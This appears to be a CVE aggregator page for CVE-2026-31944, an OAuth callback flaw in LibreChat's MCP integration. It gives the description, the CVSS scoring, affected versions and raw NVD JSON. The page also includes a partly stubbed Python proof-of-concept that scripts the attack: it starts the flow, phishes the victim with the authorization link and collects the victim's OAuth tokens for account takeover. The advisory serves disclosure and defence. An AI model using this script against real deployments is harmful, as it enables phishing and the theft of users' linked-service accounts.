Security Vulnerability Report
中文
CVE-2026-31944 CVSS 7.6 HIGH

CVE-2026-31944

Published: 2026-03-13 19:54:40
Last Modified: 2026-03-17 12:39:42

Description

LibreChat is a ChatGPT clone with additional features. From 0.8.2 to 0.8.2-rc3, The MCP (Model Context Protocol) OAuth callback endpoint accepts the redirect from the identity provider and stores OAuth tokens for the user who initiated the flow, without verifying that the browser hitting the redirect URL is logged in or that the logged-in user matches the initiator. An attacker can send the authorization URL to a victim; when the victim completes the flow, the victim’s OAuth tokens are stored on the attacker’s LibreChat account, enabling account takeover of the victim’s MCP-linked services (e.g. Atlassian, Outlook). This vulnerability is fixed in 0.8.3-rc1.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:librechat:librechat:0.8.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:librechat:librechat:0.8.2:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:librechat:librechat:0.8.2:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:librechat:librechat:0.8.2:rc3:*:*:*:*:*:* - VULNERABLE
LibreChat >= 0.8.2
LibreChat <= 0.8.2-rc3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-31944 LibreChat OAuth Account Takeover PoC # Attack Scenario: Attacker steals victim's OAuth tokens via MCP callback import requests import secrets TARGET_LIBRECHAT = "http://target-librechat:3080" ATTACKER_LIBRECHAT = "http://attacker-librechat:3080" def get_authorization_url(provider="atlassian"): """Attacker initiates OAuth flow and gets authorization URL""" # Attacker logs in to their LibreChat account attacker_session = requests.Session() # attacker_session.post(f"{ATTACKER_LIBRECHAT}/api/auth/login", json={...}) # Initiate MCP OAuth flow response = attacker_session.post( f"{ATTACKER_LIBRECHAT}/api/mcp/oauth/initiate", json={"provider": provider} ) data = response.json() authorization_url = data.get("authorizationUrl") state = data.get("state") print(f"[+] Authorization URL: {authorization_url}") print(f"[+] State parameter: {state}") return authorization_url, state def send_phishing_link(authorization_url, victim_email): """Send authorization URL to victim via email/social engineering""" phishing_content = f""" Please complete your OAuth authorization: {authorization_url} Click the link above to verify your account. """ # Send phishing email to victim print(f"[+] Phishing link sent to victim: {victim_email}") return True def main(): # Step 1: Attacker initiates OAuth flow auth_url, state = get_authorization_url("atlassian") # Step 2: Send phishing link to victim send_phishing_link(auth_url, "[email protected]") # Step 3: Victim completes OAuth flow (victim must be logged into LibreChat) # When victim clicks the link and authenticates with Atlassian, # the OAuth tokens are stored BUT linked to attacker's MCP config # Step 4: Attacker now has access to victim's OAuth tokens attacker_session = requests.Session() # attacker_session.post(f"{ATTACKER_LIBRECHAT}/api/auth/login", json={...}) # Access victim's tokens via attacker's account response = attacker_session.get( f"{ATTACKER_LIBRECHAT}/api/mcp/tokens", params={"provider": "atlassian", "state": state} ) victim_tokens = response.json() print(f"[+] Victim's OAuth tokens obtained: {victim_tokens}") # Step 5: Use victim's tokens to access Atlassian/Outlook # attacker_session.headers["Authorization"] = f"Bearer {victim_tokens['access_token']}" # response = attacker_session.get("https://api.atlassian.com/oauth/token/accessible-resources") print("[+] Account takeover complete!") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31944", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:39.590", "lastModified": "2026-03-17T12:39:41.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. From 0.8.2 to 0.8.2-rc3, The MCP (Model Context Protocol) OAuth callback endpoint accepts the redirect from the identity provider and stores OAuth tokens for the user who initiated the flow, without verifying that the browser hitting the redirect URL is logged in or that the logged-in user matches the initiator. An attacker can send the authorization URL to a victim; when the victim completes the flow, the victim’s OAuth tokens are stored on the attacker’s LibreChat account, enabling account takeover of the victim’s MCP-linked services (e.g. Atlassian, Outlook). This vulnerability is fixed in 0.8.3-rc1."}, {"lang": "es", "value": "LibreChat es un clon de ChatGPT con características adicionales. Desde 0.8.2 hasta 0.8.2-rc3, el endpoint de callback OAuth de MCP (Model Context Protocol) acepta la redirección del proveedor de identidad y almacena tokens OAuth para el usuario que inició el flujo, sin verificar que el navegador que accede a la URL de redirección esté logueado o que el usuario logueado coincida con el iniciador. Un atacante puede enviar la URL de autorización a una víctima; cuando la víctima completa el flujo, los tokens OAuth de la víctima se almacenan en la cuenta de LibreChat del atacante, permitiendo la toma de control de la cuenta de los servicios vinculados a MCP de la víctima (p. ej., Atlassian, Outlook). Esta vulnerabilidad se corrige en 0.8.3-rc1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:-:*:*:*:*:*:*", "matchCriteriaId": "8D828ED6-3F44-4DD1-B29F-62D8977AF33A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc1:*:*:*:*:*:*", "matchCriteriaId": "8E26DE8F-E11A-4052-B9FE-59AD6B9AFD03"}, {"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc2:*:*:*:*:*:*", "matchCriteriaId": "21865C8B-C628-4275-A552-89F64EF22918"}, {"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc3:*:*:*:*:*:*", "matchCriteriaId": "47A1B487-1A7B-4E06-8503-56E7D349FAA2"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-vf7j-7mrx-hp7g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}